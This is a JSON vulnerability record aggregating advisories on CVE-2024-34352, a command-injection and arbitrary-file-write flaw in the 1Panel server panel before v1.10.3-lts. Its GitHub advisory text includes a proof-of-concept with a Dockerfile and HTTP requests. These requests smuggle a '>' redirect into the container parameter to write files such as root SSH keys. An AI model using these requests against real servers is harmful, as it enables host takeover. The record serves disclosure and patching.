{"id":"CVE-2024-34352","aliases":["CVE-2024-34352","GHSA-f8ch-w75v-c847","GO-2024-2830"],"related":[],"kind":"vulnerability","state":"published","title":"Arbitrary file write vulnerability in 1Panel","summary":"1Panel is an open source Linux server operation and maintenance management panel. Prior to  v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol `>` can be used to achieve arbitrary file writing. This vulnerability is fixed in  v1.10.3-lts.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"1Panel is an open source Linux server operation and maintenance management panel. Prior to  v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol `>` can be used to achieve arbitrary file writing. This vulnerability is fixed in  v1.10.3-lts.","source":"cvelist"},{"lang":"en","text":"### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `>` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nThen you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nOr write a timed task to execute any command.\n### Impact\nThe ability to write arbitrary files on the host where the service is deployed can lead to a host takeover","format":"markdown","source":"ghsa"},{"lang":"en","text":"A maliciously crafted packet can write to an arbitrary file.","format":"markdown","source":"go"},{"lang":"es","text":"1Panel es un panel de gestión de operación y mantenimiento de servidores Linux de código abierto. Antes de v1.10.3-lts, había muchas inyecciones de comandos en el proyecto y algunas de ellas no estaban bien filtradas, lo que provocaba escrituras de archivos arbitrarias y, en última instancia, RCE. El símbolo de escritura de configuración espejo `&gt;` se puede utilizar para lograr la escritura de archivos arbitraria. Esta vulnerabilidad se solucionó en v1.10.3-lts.","source":"nvd"}],"published":"2024-05-09T14:38:19.241Z","modified":"2026-06-17T07:33:13.810Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-77"],"affected":[{"ranges":[{"version":"<= v1.10.2-lts","status":"affected"}],"vendor":"1Panel-dev","product":"1Panel","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.10.3-lts","status":"affected"}],"vendor":"fit2cloud","product":"1panel","cpe":"cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3-lts"}],"ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","purl":"pkg:golang/github.com/1Panel-dev/1Panel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.10.3-lts"}],"ecosystem":"Go","package":"github.com/1Panel-dev/1Panel","purl":"pkg:golang/github.com/1Panel-dev/1Panel","source":"go"},{"ranges":[{"status":"affected","fixed":"1.10.3-lts"}],"vendor":"fit2cloud","product":"1panel","cpe":"cpe:2.3:a:fit2cloud:1panel:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-f8ch-w75v-c847","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34352","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/1Panel-dev/1Panel/commit/e037b69f52799e110af8e98f39a3627ad0285ea6","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/1Panel-dev/1Panel","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2024-2830","tags":["web"],"sources":["ghsa"]}],"credits":["@an5er"],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-05-09T19:21:25.783Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-34352","url":"https://www.cve.org/CVERecord?id=CVE-2024-34352","licence":"CVE Terms of Use","modified":"2024-08-02T02:51:10.692Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f8ch-w75v-c847","url":"https://github.com/advisories/GHSA-f8ch-w75v-c847","licence":"CC-BY-4.0","modified":"2026-06-08T16:00:10.049Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-2830","url":"https://pkg.go.dev/vuln/GO-2024-2830","licence":"CC-BY-4.0","modified":"2024-05-20T16:03:47.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-34352","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34352","licence":"Public domain","modified":"2026-06-17T07:33:13.810Z"}],"updatedAt":"2026-11-25T22:58:40.176Z","epss":{"score":0.01329,"percentile":0.71864,"date":"2026-12-01T12:00:22.000Z"}}